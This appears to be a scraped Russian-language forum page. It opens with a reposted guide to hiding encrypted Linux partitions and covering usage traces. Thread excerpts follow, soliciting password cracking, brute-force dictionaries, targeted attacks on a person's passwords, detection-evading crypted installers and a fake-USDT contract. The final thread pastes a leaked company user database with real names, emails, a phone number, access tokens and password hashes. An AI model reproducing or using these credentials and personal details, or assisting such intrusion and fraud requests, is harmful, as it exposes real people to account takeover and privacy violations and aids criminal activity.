А потом периодический TRIM, сразу после установки. То есть, надо будет сделать что-то подобное:

Code:Copy to clipboard

systemctl disable fstrim.timer

Отключение TRIM - это палево. Запишите его в столбец рисков. Способ обойтись без этого только один - использовать старые добрые жужжащие HDD. Интернеты рекомендуют выключить TRIM и для них, но по крайней мере это обосновано и вопросов не вызывает.

Установка Linux​

Берёте свой любимый дистрибутив, в котором cryptsetup уже есть по умолчанию - и устанавливаете на предварительно отформатированный раздел. Linux Mint в этом отношении идеален, насчёт других ничего не знаю. Ну, кроме Armbian, разве что. В Debian netinstall cryptsetup по умолчанию отсутствует.

Когда система установлена, выключаем комп, достаём диск для анализов, или загружаем какой-нибудь live дистрибутив с флешки и смотрим, какие области у нас остались нетронутыми:

Code:Copy to clipboard

python3 secha.py find-intact /dev/sdc original-sector-hashes

В принципе, чтобы не анализировать весь диск и пропустить системный раздел, можно задать начальный и конечный секторы и размер сектора, который по умолчанию 512. Эти параметры должны быть одинаковами для secha.py compute и secha.py find-intact.

Скрипт выдаёт размер нетронутых областей, начальный и конечный секторы. Выберите которые вам больше нравятся и запишите. Номера секторов понадобятся для создания скрытых разделов.

Следующий обязательный шаг - настроить использование tmpfs для /tmp и /var/log. В логах, например, можно увидеть факт использования cryptsetup, ну а в /tmp тоже может утечь всякое. Добавляем в /etc/fstab:

Code:Copy to clipboard

tmpfs  /tmp      tmpfs  nosuid,nodev,mode=1755,size=32M       0 1
tmpfs  /var/log  tmpfs  nosuid,noexec,nodev,mode=755,size=4M  0 1

Размер можете указать на свой вкус.

Эти строчки в fstab - тоже палево. Отметьте у себя.

Установка тулкита​

Нам понадобится маленький секретный раздел для конфигурации и тулкита, который бутстрапит систему. Достаточно 360K, как пятидюймовая дискета, но на самом деле размер должен быть такой, который лучше запоминается и выровнен по границе сектора. Самое простое - 512000. Где его расположить - ваша забота. Я могу рекомендовать начало диска, сразу после GPT. Там, начиная от сектора 34 и до начала первого раздела обычно есть по крайней мере один свободный мегабайт. Можно разместить его в конце диска, только имейте ввиду, что там, в последних 34 секторах, находится копия GPT. В случае с MBR проще, - занят только первый сектор диска. А ещё можно оставить дырку между разделами, но тогда у стороннего наблюдателя возникнет вопрос - зачем?

Ну а лучше всего вообще держать этот раздел на внешнем устройстве. Или на другом компьютере и бутстрапить систему через SSH - тулкит это позволяет.

Вобщем, ваша креативная фантазия в сочетании с силой коллективного разума комментаторов наверняка подскажет, где и как его спрятать. Но если будете делать вручную, как я здесь напишу, то этот раздел - самое слабое звено во всей системе. Потому что LUKS мы не используем, а без сильной функции хэширования пароля для шифрованного раздела типа plain всякий пароль, который вы сможете запомнить - ненадёжен. Любой же вспомогательный скрипт нарушит чистоту системы и вызовет подозрения.

Допустим, размер сектора у нас 512 байт и наш бутстрапный раздел будет находиться начиная с сектора 40 и занимать следующие 1000 секторов. Умножаем номера на 512 и создаём loop устройство:

Code:Copy to clipboard

losetup --offset 20480 --sizelimit 512000 -f /dev/sda

Кстати, историю команд не забыли отключить? Можно это сделать перманентно в .bashrc или что вы там используете вместо него, но это +1 к подозрениям.

Следующая команда открывает шифрованный раздел:

Code:Copy to clipboard

cryptsetup open /dev/loop0 bootstrap -y --type plain

Вводим свой заковыристый бутстрапный пароль.

Далее форматируем раздел:

Code:Copy to clipboard

mkfs -t ext2 /dev/mapper/bootstrap

Создать ext4 на таком маленьком разделе у вас не получится, поэтому используем ext2. Можно и fat, конечно же, но я не пробовал.

Советую проверить, в состоянии ли вы ввести пароль заново. Закрываем шифрованный раздел и пробуем открыть его заново:

Code:Copy to clipboard

cryptsetup close bootstrap
cryptsetup open /dev/loop0 bootstrap --type plain

Теперь смотрим, показывает ли blkid UUID для /dev/mapper/bootstrap. Если нет, вы ввели пароль неправильно. Попробуйте переоткрыть раздел заново. Если ничто не помогает - начинаем снова с команды форматирования. Повторяем, пока успех не настигнет вас окончательно.

Получилось? Тогда создаём точку монтирования в /tmp и монтируем:

Code:Copy to clipboard

mkdir /tmp/bootstrap
mount /dev/mapper/bootstrap /tmp/bootstrap

Копируем файлы тулкита с флешки на бутстрапный раздел, а флешку тщательно затираем.

Конфигурация тулкита​

Все наши секретные разделы устроены точно так же, и тулкит автоматизирует процесс, что был описан выше. Нам надо подготовить файл конфигурации в формате JSON, который выглядит примерно так:

Code:Copy to clipboard

{
    "devices": {
        "S23SNEAG516433Y": "ssd",
        "WD-WX61BA51RF6A": "hdd"
    },
    "volumes": {
        "my-data": {
            "device": "ssd",
            "start":  "128664014 * 512",
            "end":   "(((488397168 - 34) * 512) // 4096) * 4096",
            "sector_size":  4096,
            "key": "KbQbEe9XZ4hPbYEWzZ3XZlbydGnkV0yLCoPSZVIP0cgyxTYC",
            "mount_point": "/mnt/my-data"
        },
        "my-archive": {
            "device": "hdd",
            "start":  "838186828 * 512",
            "end":   "((1465149168 * 512) // 4096) * 4096",
            "sector_size":  4096,
            "key": "DtgVIyikwY5rTUvmQwFpzfm6Fze2TvaV9iLbWp2W5eps64TF",
            "mount_point": "/mnt/my-archive"
        }
    },
    "containers": [
        "devapps",
        "safedns"
    ]
}

Секция devices определяет имена устройств по их серийным номерам. Эти номера можно посмотреть командой

Code:Copy to clipboard

lsblk -d -o NAME,SERIAL

В нашем примере у нас в системе два диска и в секции devices мы говорим, что диск с серийным номером S23SNEAG516433Y у нас будет называться ssd, а второй - hdd. Неважно, какие имена для них вы придумаете.

Секция volumes определяет наши секретные разделы - тома. В нашем случае том my-data у нас расположен на устройстве с именем ssd, а том my-archive - на hdd.

Параметры start и end определяют начальную и конечную позицию раздела в байтах, и могут быть как числами, так и строками-формулами, чтобы не считать байтовые позиции вручную. Например, формула параметра end для раздела my-data вычисляет конечную позицию раздела исходя из размера диска 488397168 секторов по 512 байт минус 34 сектора копии GPT, и выравнивает её по границе 4096-байтного сектора для loop-устройства. Размеры секторов не обязательно должны совпадать. В нашем примере везде используются 4096-байтные сектора, хотя сектора физических устройств - 512 байт.

Параметр key задаёт пароль для losetup и может быть сгенерирован скриптом pdt_genkey.

Вы уже определились, где будете создавать свои секретные разделы? Тогда создадим каталог конфигурации для нашего компа - так удобнее, чтобы не мешать файлы в кучу. К тому же, вы можете добавить каталоги для других машин и бутстрапить их по SSH.

Code:Copy to clipboard

mkdir /tmp/bootstrap/my-hidden-system

Создаём файл конфигурации:

Code:Copy to clipboard

nano /tmp/bootstrap/my-hidden-system/config.json

Ну или vi, если вам так привычнее. Ах да, забыл упомянуть про секцию containers - это для запуска секретных LXC контейнеров. Если они у вас будут, конечно же.

Создание разделов​

Ну что, написали свою конфигурацию? Вряд-ли у вас получится идеально с первого раза, но пока сгодится любой вариант. Потом отполируете, через несколько переустановок.

Итак, конфигурация есть, - создаём тома. Кстати, давайте перейдём в каталог /tmp/bootstrap чтобы не писать его каждый раз:

Code:Copy to clipboard

cd /tmp/bootstrap

Для нашего примера команды будут такими:

Code:Copy to clipboard

./pdt_create_volume my-hidden-system my-data
./pdt_create_volume my-hidden-system my-archive

В общем случае команда создания тома выглядит так:

Code:Copy to clipboard

pdt_create_volume config-dir volume-name [remote-hostname]

Но это вы уже и сами поняли, когда провели аудит кода. Не так ли?

Секретная система​

Очень многие компоненты оставляют следы в самых неожиданных местах, и лучше в базовой системе не работать вообще, а использовать, к примеру, VirtualBox для запуска секретной системы с секретного раздела. Однако, изначально тулкит использовался на ARM машинках, где ни VirtualBox, ни KVM не работали в принципе. Не знаю как сейчас обстоят дела, тем не менее, некоторые каталоги базовой системы надо перемонтировать, чтобы перекрыть возможные утечки от того же VirtualBox, который обязательно нагадит в ваш домашний каталог.

Нам нужно подменить следующие каталоги:

  • в /etc монтируем overlayfs чтобы скрыть дополнительных пользователей, ну и всякую другую конфигурацию, которой в нормальной системе не должно быть. Исключение - /etc/apt, его подмонтируем заново через bind. Вообще, в /etc накапливается много лишних изменений, которые время от времени приходится мержить вручную. Я это делал каждый раз при обновлении системы.
  • в /home монтируем tmpfs и в неё уже монтируем через bind оригинальные пользовательские каталоги, плюс каталоги дополнительных пользователей с секретного раздела. Либо, можно смонтировать в /home каталог с секретного раздела и уже в него через bind - оригинальные пользовательские каталоги.
  • в /root через bind монтируем каталог с секретного раздела. Обычно я там держал совершенно другие ключи для SSH.
  • также, overlayfs используем для /var/tmp и /usr/local
  • если используется LXC, то в /var/lib/lxc монтируем каталог с секретного раздела

Соответственно, вам надо создать все необходимые каталоги на секретных разделах. А потом подготовить bootstrap-скрипт. Вот пример скрипта для маленького сервера с секретным разделом в /mnt/hidden, который бутстрапится через SSH:

Python:Copy to clipboard

#!/usr/bin/env python3

import os
base_dir = os.path.dirname(os.path.abspath(__file__))

import sys
sys.path.insert(0, os.path.dirname(base_dir))

from pdt_base import read_config, setup, Invoke
from pdt_tasks import *

# читаем конфигурацию и создаём экземпляр Invoke
config = read_config(base_dir)
invoke = Invoke(remote='myserver')
invoke.set_devices(config)  # обрабатываем секцию devices

invoke.run('systemctl stop nfs-kernel-server')

setup(
    config, invoke,

    TmpfsMounts('/mnt'),  # монтируем tmpfs в /mnt
    MountRoot,            # монтируем оригинальную корневую
                          #   файловую систему в /mnt/root
    MountVolumes,         # монтируем все тома
    BindMounts(           # заменяем /root
        ('/mnt/hidden/root', '/root')
    )
)

# ключи для SSH для доступа к серверу поменялись
# после замены /root, надо пересоздать экземпляр Invoke
invoke = Invoke(remote='myserver', ssh_key='~/.ssh/secret_id_ecdsa')

# продолжаем
setup(
    config, invoke,

    # перемонтируем в overlayfs следующие каталоги:
    OverlayMounts(
        ('/mnt/root/etc',       '/mnt/hidden/etc',       '/mnt/hidden/etc.workdir',       '/etc'),
        ('/mnt/root/var/tmp',   '/mnt/hidden/var/tmp',   '/mnt/hidden/var/tmp.workdir',   '/var/tmp'),
        ('/mnt/root/usr/local', '/mnt/hidden/usr/local', '/mnt/hidden/usr/local.workdir', '/usr/local')
    ),
    BindMounts(
        # секретные контейнеры LXC
        ('/mnt/hidden/lxc',   '/var/lib/lxc'),
        # восстанавливаем некоторые перекрытые каталоги
        ('/mnt/root/etc/apt', '/etc/apt')
    )
)

# из-за изменений в /etc надо:
invoke.run('systemctl daemon-reexec')
invoke.run('systemctl start nfs-kernel-server')

# запускаем секретные контейнеры LXC
for container_name in config['containers']:
    invoke.run(f'lxc-start {container_name}')

Но вы же наверняка хотите десктоп, поэтому создаём скрипт в нашем каталоге:

Code:Copy to clipboard

nano my-hidden-system/bootstrap

Вот как он может выглядеть:

Python:Copy to clipboard

#!/usr/bin/env python3

import os
base_dir = os.path.dirname(os.path.abspath(__file__))

import sys
sys.path.insert(0, os.path.dirname(base_dir))

from pdt_base import read_config, setup, Invoke
from pdt_tasks import *

# можем бутстрапить наш комп этим скриптом по SSH:
if len(sys.argv) > 1:
    remote = sys.argv[1]
else:
    remote = None

# читаем конфигурацию и создаём экземпляр Invoke
config = read_config(base_dir)
invoke = Invoke(remote=remote)
invoke.set_devices(config)  # обрабатываем секцию devices

setup(
    config, invoke,

    TmpfsMounts('/mnt'),  # монтируем tmpfs в /mnt
    MountRoot,            # монтируем оригинальную корневую
                          #   файловую систему в /mnt/root
    MountVolumes,         # монтируем все тома
    TmpfsMounts(          # перемонтируем в tmpfs эти каталоги:
        '/home',
        '/var/lib/lxc'
    ),
    BindMounts(           # заменяем /root
        ('/mnt/my-data/root', '/root')
    )
)

if remote:
    # ключи для SSH поменялись после замены /root,
    # поэтому надо пересоздать экземпляр Invoke
    invoke = Invoke(remote=remote, ssh_key='~/.ssh/secret_id_ecdsa')

# продолжаем
setup(
    config, invoke,

    # добавляем секретных пользователей в /home
    BindMounts(
        ('/mnt/my-data/work',     '/home/work'),
        ('/mnt/my-data/browsing', '/home/browsing'),
        ('/mnt/my-data/sans-vpn', '/home/sans-vpn')
    ),
    # перемонтируем в overlayfs следующие каталоги:
    OverlayMounts(
        ('/mnt/root/etc',       '/mnt/my-data/etc',       '/mnt/my-data/etc.workdir',       '/etc'),
        ('/mnt/root/var/tmp',   '/mnt/my-data/var/tmp',   '/mnt/my-data/var/tmp.workdir',   '/var/tmp'),
        ('/mnt/root/usr/local', '/mnt/my-data/usr/local', '/mnt/my-data/usr/local.workdir', '/usr/local')
    ),
    # восстанавливаем некоторые перекрытые каталоги
    BindMounts(
        ('/mnt/root/etc/apt',   '/etc/apt'),
        # допустим, в базовой системе у нас только один пользователь user
        # - восстанавливаем его каталог в /home
        ('/mnt/root/home/user', '/home/user')
    ),
    # перезапускаем сервисы
    RestartServices(
        'syslog',
        'systemd-journald',
        'autofs',
        'display-manager'
    )
)

# создаём необходимые каталоги в /mnt, который теперь tmpfs
invoke.run('mkdir -p /mnt/myserver')
invoke.run('mkdir -p /mnt/usb')
invoke.run('mkdir -p /mnt/temp')

# если в секретной системе другой /etc/nftables.conf, то надо:
invoke.run('systemctl restart nftables')

# а если есть секретная конфигурация для VPN, то:
invoke.run('ip link add dev wg0 type wireguard')
invoke.run('ip address add 10.0.0.2 dev wg0 peer 10.0.0.1')
invoke.run('/bin/bash -c "wg setconf wg0 <(wg-quick strip /etc/wireguard/wg0.conf)"', shell=True)
invoke.run('ip link set up dev wg0')
invoke.run('ip route replace default dev wg0')
# (лично я не использую wg-quick, своим современным подходом
# с fwmark он ломает мне всю маршрутизацию)

# добваляем маршрут к VPN серверу
invoke.run('ip route add 1.2.3.4 via 192.168.0.1')

# для пользователя sans-vpn VPN не нужен (uid, к примеру, 1003):
invoke.run('ip rule add uidrange 1003-1003 table 1 pref 100')
invoke.run('ip route add default via 192.168.0.1 table 1')

# размонтируем бутстрапный раздел:
if not remote:
    invoke.locrypt_unmount('/tmp/bootstrap')

Делаем скрипт исполняемым:

Code:Copy to clipboard

chmod +x my-hidden-system/bootstrap

Запускаем, создаём пользователей с помощью adduser или useradd, перезапускаем display-manager. Надеюсь, у вас всё получилось?

Таким образом, вы можете запустить свои иксы для каждого секретного пользователя и переключаться между ними по ALT-F7, ALT-F8, и т.д. Не забывайте проявлять активность в основном, несекретном аккаунте. Котиков иногда разглядывайте, что-ли.

Для бутстрапа системы после перезагрузки надо запомить последовательность команд:

Code:Copy to clipboard

HISTFILE=
losetup --offset 20480 --sizelimit 512000 -f /dev/sda
cryptsetup open /dev/loop0 bootstrap --type plain
mkdir /tmp/bootstrap
mount /dev/mapper/bootstrap /tmp/bootstrap
cd /
/tmp/bootstrap/my-hidden-system/bootstrap

Это если вы не придумали ничего лучшего. Я тоже пока нет.
Тулкит может выглядеть странным, но он прошёл достаточный путь в развитии и естественно, полон архаизмов. Вы можете переписать его на свой вкус, а у меня есть новая идея развития этой системы. Обещаю держать вас в курсе. Если получится, конечно.

автор @amateur80lvl
источник habr.com

где взять proxy
ID: 676536fbb4103b69df373797
Thread ID: 92222
Created: 2023-07-06T11:34:16+0000
Last Post: 2023-07-07T09:11:58+0000
Author: bootup
Replies: 5 Views: 436

посоветуйте недорогие анонимные сервера

Куплю (уникальные) словари для брута. Срочно
ID: 676536fbb4103b69df373780
Thread ID: 97075
Created: 2023-09-01T20:37:27+0000
Last Post: 2023-09-01T20:37:27+0000
Author: V O L O D A R
Replies: 0 Views: 432

Всем привет.
Куплю приватные и сложные словари для брута.
За детальной инф в пм

Точечные персонализированные брутфорс-атаки
ID: 676536fbb4103b69df373849
Thread ID: 57628
Created: 2021-10-12T12:14:43+0000
Last Post: 2021-10-13T16:00:38+0000
Author: rokkkkkko
Replies: 8 Views: 426

Добрый день, хотел поднять тему по сабжу, будет полезно мне и возможно кому- нибудь еще.

Предположим ситуацию в вакууме:

Есть человек-цель, есть некоторые его пароли, информация о предпочтениях, доступ к некоторым личным файлам.
Нужно пробрутфорсить файлик который защищен паролем который использует этот человек. Количество попыток брутфорса - бесконечное, ограничений нету. Но тем не менее - перебрать ВСЕ возможные комбинации символов технически невозможно.

Как бы вы составляли словари? Какие методики масштабирования словарей на основе типичных паролей цели использовали бы и тд.?
Как оптимизировать этот процес?

Шифрование veracrypt [вопрос]
ID: 676536fbb4103b69df37384c
Thread ID: 56919
Created: 2021-09-21T12:55:36+0000
Last Post: 2021-10-07T13:05:24+0000
Author: Joynses
Replies: 5 Views: 423

Всем привет!
Возник вопрос при шифровании VeraCrypt. Если на компьютере стоит 1 sdd, диск разбит на разделы, при выборе "Зашифровать системный диск" - шифруется весь sdd диск полностью, со всеми разделами, верно?

Дехеш
ID: 676536fbb4103b69df37375b
Thread ID: 107733
Created: 2024-02-07T19:12:54+0000
Last Post: 2024-02-10T14:33:30+0000
Author: Potato07
Replies: 3 Views: 421

Всем привет, кто знает, как расшифровать хэши такого типа?
пример 1.
strong-hash - 3u+UR6n8AgABAAAANtWIgjstwdXA0r9p0wfsEp9qxqKEBUcbxAqbcxXeFtxj+pn4gIsqmQ2aFCASpUUZ7pE1gkoV6dAFCiSJQVKlP55Sd91uE2dNsU3Tm+sjEqP9xGqUysWUu4Vncwzdfd9g
salt-encrypted - 3u+UR6n8AgABAAAArZv+IYe/AMt6u2p+BC4FIW7XGqNIKlz1tSOjJCZh7ttP1YwYL8zPTODdZcsPsBfLIPDRE11vfraTRCAh8ki/+g==
пример 2.
strong-hash - 3u+UR6n8AgABAAAAxyzC9gnAaodR50otFYO4mDD04AVOoy3e73lZB7bAg9M06R21Sz17Mui9F/xL1cgtuYDUlZrTYDGZ3Cx/UbY1UAUa+/yozkBbgxMqcOPkzND6MB9uxiqrDcjDWMt0NA56
salt-encrypted - 3u+UR6n8AgABAAAAqP/z9iFkA/8kPVE322lcbftQdW/tFTpkBV/CjnaQvuQ5rdmYGROXOzGGmvTI2LC3ObMmgshKWCkUrjfu8PSpNA==
пример 3.
legacy-pcs-hash - 3u+UR6n8AgABAAAATwFnWlpHdJ0d15fwQDstnrMscdT8nQG07T4HDj3/xYk08h557rLwzi/rJdiO8mQxrbn/VvDWTjImH0p4SADCBfGgdqnALvjsepgCOW56Q2N8FAF8t0sXXIakG6ZAaPyx
P.S. плачу за дехэш

Подскажите сервисы по хешам ntlm kerb
ID: 676536fbb4103b69df37372f
Thread ID: 125570
Created: 2024-10-26T10:24:54+0000
Last Post: 2024-10-26T10:26:59+0000
Author: agentsmith
Replies: 2 Views: 420

всем привет!

Знающие люди, подскажите пожалуйста сервисы или людей кто профессионально занимается брутом хешей.
В приоритете люди со стабильным онлайном и хорошими мощностями для нашего постоянного потока хешей.

спасибо.

/etc/shadow
ID: 676536fbb4103b69df373843
Thread ID: 58355
Created: 2021-10-30T23:01:06+0000
Last Post: 2021-10-31T16:22:05+0000
Author: romero_4h
Replies: 3 Views: 420

Каким образом можно сбрутить пароли с /etc/shadow ? или есть какие то другие методы получения пассов существующих юзеров?
Права в системе : root

Помогите с дампов сделать логи для брута
ID: 676536fbb4103b69df373798
Thread ID: 91661
Created: 2023-06-29T12:25:10+0000
Last Post: 2023-07-01T18:56:52+0000
Author: GOBLINmoneymaker
Replies: 1 Views: 419

Подскажите как с базы дампов сайтов сделать логи mail:pass

[ Ищу ] Зашифрованный инсталлер .exe с обходом реверса
ID: 676536fbb4103b69df373728
Thread ID: 126764
Created: 2024-11-12T21:37:12+0000
Last Post: 2024-11-13T18:42:43+0000
Author: Meat
Replies: 3 Views: 418

Приветствую. Требуется написать зашифрованное решение - инсталлер, чтобы содержимое внутри инсталлера вообще не детектилось реверсами. Есть пример подобного решения (полностью разобранный код инсталера) для облегчения и понимания поставленной задачи и выбора примерных вариантов реализации. В поисках сильных кодеров на исполнение задачи

Как брутфорсить хеши правильно?
ID: 676536fbb4103b69df373763
Thread ID: 104998
Created: 2024-01-02T18:28:50+0000
Last Post: 2024-01-03T09:30:01+0000
Author: fenix0
Replies: 1 Views: 418

Привет вот хочу научиться брутфорсить хеши через hashcat вот на пример хеш a5b307b8d1dec51f066d772d66f0c57b MD5 не получаеться ничего найти бо словаря нормального нету

VB Hash 102 шт
ID: 676536fbb4103b69df373752
Thread ID: 109078
Created: 2024-02-26T11:33:01+0000
Last Post: 2024-02-26T18:10:59+0000
Author: hizeeeee
Replies: 3 Views: 417

Здравствуйте!
Помогите расшифровать vBulletin хешы
Буду рад любой помощи, заранее благодарю
-m 2711

Атака на уязвимое AES шифрование
ID: 676536fbb4103b69df3737fb
Thread ID: 71817
Created: 2022-08-16T22:37:27+0000
Last Post: 2022-08-18T20:46:00+0000
Author: chillco
Replies: 3 Views: 415

Здравствуйте.
Данные шифруются AES CBC с ключом размера 256 бит.
В основном, AES взломать нельзя. Не хватит мощностей для брута.
Но у меня особый случай.
Ключ и IV неизвестны, но они константны. Что ещё важнее, первые два блока открытого текста всегда одинаковы, и я знаю открытый текст этих блоков. А так как ключ и IV константны, то первые два блока всегда одинаковы и для шифротекста.
Ещё я знаю что ключ и IV состоят только из букв английского алфавита обоих регистров и цифр, т.е. 62 разрешенных символов. Состоят не из слов, сгенерированы рандомно. Об алгоритме генерации и мере случайности ничего не известно.

Могу генерировать много шифротестов, из которых наверняка известны первые два блока.

Кажется, очень уязвимое шифрование: константные ключ и IV с уменьшеным в 4 раза диапазоном значений и частично известен открытый текст. Но даже так, не знаю, возможна ли атака на такое шифрование без брутфорса миллионы лет.

Знатоки, подскажите, есть ли шансы взломать такое шифрование?

hashcat сеть
ID: 676536fbb4103b69df37375c
Thread ID: 107873
Created: 2024-02-09T16:26:08+0000
Last Post: 2024-02-09T18:43:06+0000
Author: V1zl
Replies: 4 Views: 411

привет, появился такой вопрос можно ли как-то объединить несколько компов для брута одного хеша

Как нынче установливают корневые сертификаты?
ID: 676536fbb4103b69df373833
Thread ID: 61574
Created: 2022-01-18T09:31:19+0000
Last Post: 2022-01-18T09:31:19+0000
Author: Sept
Replies: 0 Views: 411

Вопрос может звучить банальным но как делетант в этой области хотел спросить у форумчан методы установки CA в ОС Андроид.
Как известно до версии Андроида 11 проблема решалась с помощью кода API

Code:Copy to clipboard

 KeyChain.createInstallIntent()

. А как обстоят дела дальше на последних версиях Андроида?
Исходя из нынешних реалий как VPN приложения устанавливают свой корневой сертификат?

P.S.
Если есть приватные методы то в ПМ, бюджет до 10К

нужен кодер для консультации и написания смарт контракта
ID: 676536fbb4103b69df37376e
Thread ID: 102296
Created: 2023-11-15T10:32:38+0000
Last Post: 2023-11-15T10:32:38+0000
Author: fantomlog
Replies: 0 Views: 409

нужен кодер дописать- создать смарт контракт для fake usdt. контракт есть в наличии. нужна консультация. рассматриваю варианты сотрудничества и совместной работы! контракт нужен под определенного заказчика.
работать можем через гаранта форума.

Paid Decrypt MD5 Hash
ID: 676536fbb4103b69df37384a
Thread ID: 57117
Created: 2021-09-27T15:49:38+0000
Last Post: 2021-10-12T18:25:43+0000
Author: ynevo
Replies: 8 Views: 406

ad403aade21648799c774f47fc9b2cd7

if you can decrypt this has I pay 20$
MD5 no salt

Расшифровка хэша
ID: 676536fbb4103b69df37376a
Thread ID: 103666
Created: 2023-12-07T08:10:39+0000
Last Post: 2023-12-07T14:59:28+0000
Author: WakaWakaPaca
Replies: 1 Views: 402

Помогите расшифровать хэш
4f94fecb32c5cabdd590a044091c3295
f3312922b8a9de51616e24a3ffcb11f5
1f314dddf17b10536b6c695590e950b0

Вопрос по bcrypt
ID: 676536fbb4103b69df373787
Thread ID: 94849
Created: 2023-08-05T09:29:37+0000
Last Post: 2023-08-05T21:21:21+0000
Author: Ethereum
Replies: 8 Views: 402

Есть достаточно ценный дамп для меня, но пароли к сожалению bcrypt.

Не очень в теме хешей, поэтому возник вопрос, как его можно побороть?

Шифрование как я понял в 8 раундов.

$2b$08$Qc9IS1wPYRvE.O3uaz7k2e3Tahe8UlKXXm7c.ygAFaHjSZkOQ/CDO

есть ли какой-то вариант кроме слепого перебора? Есть доступ к серверу с которого дамп, может это чем-то поможет?

Строк к счастью или к сожалению - очень много, больше 20кк.

Помогите с форматом базы
ID: 676536fbb4103b69df373858
Thread ID: 55543
Created: 2021-08-19T15:15:25+0000
Last Post: 2021-08-19T15:38:22+0000
Author: ynvazik
Replies: 1 Views: 400

Code:Copy to clipboard

authorizations    profile    profile.email    profile.lastName    profile.name    profile.phone
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "lika.klintsova@kiwitaxi.com" } }]    { "name" : "Lika Klintsova", "email" : "lika.klintsova@kiwitaxi.com" }    "lika.klintsova@kiwitaxi.com"        "Lika Klintsova"   
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "andrey.klyachin@kiwitaxi.com" }, "expires" : ISODate("2019-01-07T12:56:09.844Z"), "access_token" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJLaXdpVGF4aSIsInN1YiI6IjVhMjhmY2JjZTQ5MmQ1MDAyMDBmNGNiMiIsImV4cCI6MTU0Njg2NTc2OSwiaWRlbnRpdHkiOiJhbmRyZXkua2x5YWNoaW5Aa2l3aXRheGkuY29tIiwicHJvZmlsZSI6eyJuYW1lIjoiRWdvciIsImxhc3ROYW1lIjoiTmFnb3ZpdHNpbiIsImVtYWlsIjoiYW5kcmV5LmtseWFjaGluQGtpd2l0YXhpLmNvbSIsInBob25lIjoiKzc5MTI3NjY3MTgxIiwibGVnYWN5VXNlcklkIjpudWxsLCJ0YXhpSWQiOm51bGx9LCJjb21wYW55Ijp7ImlkIjoxMTAxN30sInJvbGVzIjpbImtpd2l0YXhpOnVzZXIiLCJraXdpdGF4aTpjb250ZW50LW1hbmFnZXIiLCJraXdpdGF4aTphY2NvdW50YW50Iiwia2l3aXRheGk6YmlsbGluZy1tYW5hZ2VyIiwia2l3aXRheGk6Y291cG9uLW1hbmFnZXIiLCJ0YTpzZW5pb3ItbWFuYWdlciIsImtpd2l0YXhpOnNlbmlvci1zdXBwb3J0LW1hbmFnZXIiXX0.46Eczmh4TPV-Eq5Cfqdes72sn9oEY-rFjdP4cdVCxFM" }, { "name" : "form_based", "data" : { "username" : "egor", "salt" : "adb82ad5f7be256d817785c05f7d9dcce0e6b0aee1e2dcecb2ee45f715c5", "password" : "StKd3P8KLAJ47A7CPM8iTthvwybeUIV84wr2y0zeC0FRD6SbHhKoT4rVmi5MwGrVI11M47KjwwFLDKyA7XbNhg==" } }]    { "name" : "Andrey Klyachin", "email" : "andrey.klyachin@kiwitaxi.com", "lastName" : "Nagovitsin", "phone" : "+79127667181" }    "andrey.klyachin@kiwitaxi.com"    "Nagovitsin"    "Andrey Klyachin"    "+79127667181"
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "lyudmila.kuzmina@kiwitaxi.com" } }]    { "name" : "Lyudmila Kuzmina", "email" : "lyudmila.kuzmina@kiwitaxi.com" }    "lyudmila.kuzmina@kiwitaxi.com"        "Lyudmila Kuzmina"   
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "kseniya.zaika@kiwitaxi.com" } }]    { "name" : "Kseniya Zaika", "email" : "kseniya.zaika@kiwitaxi.com" }    "kseniya.zaika@kiwitaxi.com"        "Kseniya Zaika"   
[{ "name" : "oauth2", "data" : { "provider" : "google", "access_token" : "ya29.Gl0SBh6I1T352Pr_UsBf-O-rIFj4Ws8zJCXuR9Mg8qBErutcHt6Y1R9_8uAS3rzJDCKs_VFg0KBr49-YNmkYbzwqKGM9QbUk-hiQ511ktDpmr3tS58MmtzlIaD0LE-U", "username" : "irina.savina@kiwitaxi.com" }, "expires" : ISODate("2018-10-08T06:15:15.396Z"), "access_token" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJLaXdpVGF4aSIsInN1YiI6IjVhMjkyMGZhZTQ5MmQ1MDA0OTAzNmRiMiIsImV4cCI6MTUzODk3OTMxNSwiaWRlbnRpdHkiOiJpcmluYS5zYXZpbmFAa2l3aXRheGkuY29tIiwicHJvZmlsZSI6eyJuYW1lIjoiSXJpbmEgU2F2aW5hIiwibGFzdE5hbWUiOm51bGwsImVtYWlsIjoiaXJpbmEuc2F2aW5hQGtpd2l0YXhpLmNvbSIsInBob25lIjpudWxsLCJsZWdhY3lVc2VySWQiOm51bGwsInRheGlJZCI6bnVsbH0sImNvbXBhbnkiOnsiaWQiOm51bGx9LCJyb2xlcyI6WyJraXdpdGF4aTp1c2VyIl19.h4DX-6VdN5E_XBrF0_zwLaZRZxqc31LIsZi0ArFGTYM" }]    { "name" : "Irina Savina", "email" : "irina.savina@kiwitaxi.com" }    "irina.savina@kiwitaxi.com"        "Irina Savina"   
